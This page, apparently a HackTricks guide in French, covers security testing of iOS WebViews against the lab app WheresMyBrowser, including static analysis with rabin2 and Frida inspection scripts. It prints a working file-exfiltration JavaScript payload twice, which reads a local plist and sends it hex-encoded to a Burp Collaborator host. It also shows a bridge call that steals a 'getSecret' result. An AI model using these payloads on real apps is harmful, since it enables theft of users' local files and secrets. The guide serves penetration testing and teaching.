26 KiB
Les WebViews sont des composants de navigateur intégrés aux applications pour afficher du contenu web interactif. Ils peuvent être utilisés pour intégrer directement du contenu web dans l'interface utilisateur d'une application. Les WebViews iOS prennent en charge l'exécution de JavaScript par défaut, de sorte que l'injection de script et les attaques de script intersites peuvent les affecter.
-
UIWebView : UIWebView est obsolète à partir d'iOS 12 et ne doit pas être utilisé. Il ne devrait pas être utilisé. JavaScript ne peut pas être désactivé.
-
WKWebView : c'est le choix approprié pour étendre la fonctionnalité de l'application, contrôler le contenu affiché.
- JavaScript est activé par défaut, mais grâce à la propriété
javaScriptEnabled
deWKWebView
, il peut être complètement désactivé, empêchant toutes les failles d'injection de script. - La propriété
JavaScriptCanOpenWindowsAutomatically
peut être utilisée pour empêcher JavaScript d'ouvrir de nouvelles fenêtres, telles que des pop-ups. - La propriété
hasOnlySecureContent
peut être utilisée pour vérifier que les ressources chargées par le WebView sont récupérées via des connexions chiffrées. WKWebView
implémente un rendu hors processus, de sorte que les bugs de corruption de mémoire n'affecteront pas le processus principal de l'application.
- JavaScript est activé par défaut, mais grâce à la propriété
-
SFSafariViewController : il doit être utilisé pour fournir une expérience de visualisation web généralisée. Ces WebViews peuvent être facilement repérés car ils ont une disposition caractéristique qui comprend les éléments suivants :
- Un champ d'adresse en lecture seule avec un indicateur de sécurité.
- Un bouton d'action ("Partager").
- Un bouton "Terminé", des boutons de navigation avant et arrière, et un bouton "Safari" pour ouvrir la page directement dans Safari.
- JavaScript ne peut pas être désactivé dans
SFSafariViewController
et c'est l'une des raisons pour lesquelles l'utilisation deWKWebView
est recommandée lorsque l'objectif est d'étendre l'interface utilisateur de l'application. SFSafariViewController
partage également les cookies et autres données de site Web avec Safari.- L'activité et l'interaction de l'utilisateur avec un
SFSafariViewController
ne sont pas visibles pour l'application, qui ne peut pas accéder aux données de saisie automatique, à l'historique de navigation ou aux données de site Web. - Selon les directives de révision de l'App Store, les
SFSafariViewController
ne peuvent pas être masqués ou obscurcis par d'autres vues ou couches.
Découverte de la configuration des WebViews
Analyse statique
UIWebView
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
489 0x0002fee9 0x10002fee9 9 10 (5.__TEXT.__cstring) ascii UIWebView
896 0x0003c813 0x0003c813 24 25 () ascii @_OBJC_CLASS_$_UIWebView
1754 0x00059599 0x00059599 23 24 () ascii _OBJC_CLASS_$_UIWebView
WKWebView
WKWebView est une vue Web introduite dans iOS 8 qui remplace UIWebView. Elle est plus rapide et plus efficace que UIWebView car elle utilise le moteur de rendu WebKit. Elle prend également en charge les fonctionnalités HTML5 et JavaScript modernes.
Pour tester une application iOS qui utilise WKWebView, vous pouvez utiliser des outils tels que Burp Suite ou OWASP ZAP pour intercepter et modifier le trafic HTTP/S. Vous pouvez également utiliser des outils tels que Frida ou Cycript pour injecter du code JavaScript dans l'application et manipuler la vue Web.
Il est important de noter que les applications iOS utilisant WKWebView peuvent être vulnérables à des attaques de type XSS (Cross-Site Scripting) si elles ne sont pas correctement sécurisées. Les développeurs doivent s'assurer que toutes les entrées utilisateur sont correctement validées et échappées avant d'être affichées dans la vue Web.
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
490 0x0002fef3 0x10002fef3 9 10 (5.__TEXT.__cstring) ascii WKWebView
625 0x00031670 0x100031670 17 18 (5.__TEXT.__cstring) ascii unwindToWKWebView
904 0x0003c960 0x0003c960 24 25 () ascii @_OBJC_CLASS_$_WKWebView
1757 0x000595e4 0x000595e4 23 24 () ascii _OBJC_CLASS_$_WKWebView
Alternativement, vous pouvez également rechercher les méthodes connues de ces classes WebView. Par exemple, recherchez la méthode utilisée pour initialiser un WKWebView (init(frame:configuration:)
):
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
0x5c3ac 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
0x5d97a 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO
0x6b5d5 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
0x6c3fa 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO
Test de la configuration JavaScript
Pour les WKWebView
, il est recommandé de désactiver JavaScript sauf s'il est explicitement requis. Pour vérifier que JavaScript a été correctement désactivé, recherchez les utilisations de WKPreferences
dans le projet et assurez-vous que la propriété javaScriptEnabled
est définie sur false
:
let webPreferences = WKPreferences()
webPreferences.javaScriptEnabled = false
Si vous avez seulement le binaire compilé, vous pouvez chercher cela dedans :
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
391 0x0002f2c7 0x10002f2c7 17 18 (4.__TEXT.__objc_methname) ascii javaScriptEnabled
392 0x0002f2d9 0x10002f2d9 21 22 (4.__TEXT.__objc_methname) ascii setJavaScriptEnabled
Test de OnlySecureContent
Contrairement aux UIWebView
, lors de l'utilisation de WKWebView
, il est possible de détecter du contenu mixte (contenu HTTP chargé à partir d'une page HTTPS). En utilisant la méthode hasOnlySecureContent
, il est possible de vérifier si toutes les ressources de la page ont été chargées via des connexions sécurisées et cryptées.
Dans le binaire compilé :
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
Vous pouvez également rechercher dans le code source ou les chaînes la chaîne "http://". Cependant, cela ne signifie pas nécessairement qu'il y a un problème de contenu mixte. En savoir plus sur le contenu mixte dans les MDN Web Docs.
Analyse dynamique
Il est possible d'inspecter le tas via ObjC.choose()
pour trouver des instances des différents types de WebViews et également rechercher les propriétés javaScriptEnabled
et hasonlysecurecontent
:
{% code title="webviews_inspector.js" %}
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});
{% endcode %}
Chargez-le avec:
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
onMatch: <WKWebView: 0x1508b1200; frame = (0 0; 320 393); layer = <CALayer: 0x1c4238f20>>
hasOnlySecureContent: false
Gestion des protocoles WebView
Plusieurs schémas par défaut sont disponibles et sont interprétés dans une WebView sur iOS, par exemple :
- http(s)://
- file://
- tel://
Les WebViews peuvent charger du contenu distant à partir d'un point de terminaison, mais elles peuvent également charger du contenu local à partir du répertoire de données de l'application. Si le contenu local est chargé, l'utilisateur ne devrait pas être en mesure d'influencer le nom de fichier ou le chemin utilisé pour charger le fichier, et les utilisateurs ne devraient pas être en mesure de modifier le fichier chargé.
Chargement de contenu WebView
- UIWebView : Il peut utiliser des méthodes obsolètes
loadHTMLString:baseURL:
ouloadData:MIMEType:textEncodingName:baseURL:
pour charger du contenu. - WKWebView : Il peut utiliser les méthodes
loadHTMLString:baseURL:
ouloadData:MIMEType:textEncodingName:baseURL:
pour charger des fichiers HTML locaux etloadRequest:
pour le contenu web. Typiquement, les fichiers locaux sont chargés en combinaison avec des méthodes incluant, entre autres :pathForResource:ofType:
,URLForResource:withExtension:
ouinit(contentsOf:encoding:)
. De plus, vous devriez également vérifier si l'application utilise la méthodeloadFileURL:allowingReadAccessToURL:
. Son premier paramètre estURL
et contient l'URL à charger dans la WebView, son deuxième paramètreallowingReadAccessToURL
peut contenir un seul fichier ou un répertoire. S'il contient un seul fichier, ce fichier sera disponible pour la WebView. Cependant, s'il contient un répertoire, tous les fichiers de ce répertoire seront disponibles pour la WebView. Par conséquent, il vaut la peine d'inspecter cela et, dans le cas où il s'agit d'un répertoire, de vérifier qu'aucune donnée sensible ne peut être trouvée à l'intérieur.
Si vous avez le code source, vous pouvez rechercher ces méthodes. Si vous avez le binaire compilé, vous pouvez également rechercher ces méthodes :
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
Accès aux fichiers
- UIWebView:
- Le schéma
file://
est toujours activé. - L'accès aux fichiers à partir des URL
file://
est toujours activé. - L'accès universel à partir des URL
file://
est toujours activé. - Si vous récupérez l'origine effective d'un
UIWebView
oùbaseURL
est également défini surnil
, vous verrez qu'elle n'est pas définie sur "null", mais vous obtiendrez quelque chose de similaire à ce qui suit :applewebdata://5361016c-f4a0-4305-816b-65411fc1d78
. Cette origine "applewebdata://" est similaire à l'origine "file://" car elle n'implémente pas la politique de même origine et permet l'accès aux fichiers locaux et à toutes les ressources web.
- Le schéma
{% tabs %} {% tab title="exfiltrate_file" %}
String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);
{% endtab %} {% endtabs %}
- WKWebView:
allowFileAccessFromFileURLs
(WKPreferences
,false
by default): cela permet à JavaScript s'exécutant dans le contexte d'une URL de schémafile://
d'accéder au contenu d'autres URL de schémafile://
.allowUniversalAccessFromFileURLs
(WKWebViewConfiguration
,false
by default): cela permet à JavaScript s'exécutant dans le contexte d'une URL de schémafile://
d'accéder au contenu de n'importe quelle origine.
Vous pouvez rechercher ces fonctions dans le code source de l'application ou dans le binaire compilé.
De plus, vous pouvez utiliser le script frida suivant pour trouver ces informations:
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
frida -U -f com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
onMatch: <WKWebView: 0x1508b1200; frame = (0 0; 320 393); layer = <CALayer: 0x1c4238f20>>
URL: file:///var/mobile/Containers/Data/Application/A654D169-1DB7-429C-9DB9-A871389A8BAA/
Library/WKWebView/scenario1.html
javaScriptEnabled: true
allowFileAccessFromFileURLs: 0
hasOnlySecureContent: false
allowUniversalAccessFromFileURLs: 0
Exfiltrer des fichiers arbitraires
//For some reason this payload doesn't work!!
//Let me know if you know how to exfiltrate local files from a WKWebView
String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);
Méthodes natives exposées via les WebViews
Depuis iOS 7, Apple a introduit des API qui permettent la communication entre le runtime JavaScript dans la WebView et les objets natifs Swift ou Objective-C.
Il existe deux façons fondamentales dont le code natif et JavaScript peuvent communiquer :
- JSContext : lorsqu'un bloc Objective-C ou Swift est assigné à un identificateur dans un
JSContext
, JavaScriptCore enveloppe automatiquement le bloc dans une fonction JavaScript. - Protocole JSExport : les propriétés, les méthodes d'instance et les méthodes de classe déclarées dans un protocole hérité de
JSExport
sont mappées sur des objets JavaScript qui sont disponibles pour tout le code JavaScript. Les modifications des objets qui sont dans l'environnement JavaScript sont reflétées dans l'environnement natif.
Notez que seuls les membres de classe définis dans le protocole JSExport
sont accessibles au code JavaScript.
Recherchez le code qui mappe les objets natifs sur le JSContext
associé à une WebView et analysez la fonctionnalité qu'il expose, par exemple, aucune donnée sensible ne doit être accessible et exposée aux WebViews.
En Objective-C, le JSContext
associé à une UIWebView
est obtenu comme suit :
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
Le code JavaScript dans un **WKWebView
peut toujours envoyer des messages à l'application native, mais contrairement à UIWebView
, il n'est pas possible de référencer directement le JSContext
d'un WKWebView
. Au lieu de cela, la communication est implémentée à l'aide d'un système de messagerie et de la fonction postMessage
, qui sérialise automatiquement les objets JavaScript en objets Objective-C ou Swift natifs. Les gestionnaires de messages sont configurés à l'aide de la méthode add(_ scriptMessageHandler:name:)
.
Activation de JavascriptBridge
func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}
Envoi de message
L'ajout d'un gestionnaire de message de script avec le nom "name"
(ou "javaScriptBridge"
dans l'exemple ci-dessus) provoque la définition de la fonction JavaScript window.webkit.messageHandlers.myJavaScriptMessageHandler.postMessage
dans tous les cadres de toutes les vues Web qui utilisent le contrôleur de contenu utilisateur. Il peut ensuite être utilisé à partir du fichier HTML comme ceci:
function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}
//After testing the previos funtion I got the error TypeError: undefined is not an object (evaluating 'window.webkit.messageHandlers')
//But the following code worked to call the exposed javascriptbridge with the args "addNumbers", "1", "2"
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
Une fois que la fonction Native est exécutée, elle exécutera généralement du JavaScript à l'intérieur de la page Web (voir evaluateJavascript
ci-dessous) et vous pouvez être intéressé à remplacer la fonction qui va être exécutée pour voler le résultat.
Par exemple, dans le script ci-dessous, la fonction javascriptBridgeCallBack
va être exécutée avec 2 paramètres (la fonction appelée et le résultat). Si vous contrôlez le HTML qui va être chargé, vous pouvez créer une alerte avec le résultat comme suit:
<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>
Fonction appelée
La fonction appelée se trouve dans JavaScriptBridgeMessageHandler.swift
:
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
//...
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
//...
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
Test
Pour tester l'envoi d'un postMessage à l'intérieur d'une application, vous pouvez :
- Changer la réponse des serveurs (MitM)
- Effectuer une instrumentation dynamique et injecter la charge utile JavaScript en utilisant des frameworks tels que Frida et les fonctions d'évaluation JavaScript correspondantes disponibles pour les iOS WebViews (
stringByEvaluatingJavaScriptFromString:
pourUIWebView
etevaluateJavaScript:completionHandler:
pourWKWebView
).
Débogage des iOS WebViews
(Tutoriel de https://blog.vuplex.com/debugging-webviews)
Dans les webviews iOS, les messages passés à console.log()
ne sont pas imprimés dans les journaux Xcode. Il est encore relativement facile de déboguer le contenu Web avec les outils de développement de Safari, bien qu'il y ait quelques limitations :
- Le débogage des webviews iOS nécessite Safari, donc votre ordinateur de développement doit exécuter macOS.
- Vous ne pouvez déboguer que les webviews dans les applications chargées sur votre appareil via Xcode. Vous ne pouvez pas déboguer les webviews dans les applications installées via l'App Store ou Apple Configurator.
Avec ces limitations à l'esprit, voici les étapes pour déboguer à distance un webview dans iOS :
- Tout d'abord, activez l'inspecteur Web Safari sur votre appareil iOS en ouvrant l'application iOS Paramètres, en naviguant vers Paramètres > Safari > Avancé, et en activant l'option Inspecteur Web.
- Ensuite, vous devez également activer les outils de développement dans Safari sur votre ordinateur de développement. Lancez Safari sur votre machine de développement et accédez à Safari > Préférences dans la barre de menus. Dans le volet des préférences qui apparaît, cliquez sur l'onglet Avancé et activez l'option Afficher le menu Développement en bas. Après avoir fait cela, vous pouvez fermer le volet des préférences.
- Connectez votre appareil iOS à votre ordinateur de développement et lancez votre application.
- Dans Safari sur votre ordinateur de développement, cliquez sur Développer dans la barre de menus et survolez l'option de menu déroulant qui est le nom de votre appareil iOS pour afficher une liste des instances de webview en cours d'exécution sur votre appareil iOS.
- Cliquez sur l'option de menu déroulant pour le webview que vous souhaitez déboguer. Cela ouvrira une nouvelle fenêtre Safari Web Inspector pour inspecter le webview.
Références
- https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6
- https://github.com/authenticationfailure/WheresMyBrowser.iOS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
-
Découvrez The PEASS Family, notre collection exclusive de NFTs
-
Obtenez le swag officiel PEASS & HackTricks
-
Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
-
Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.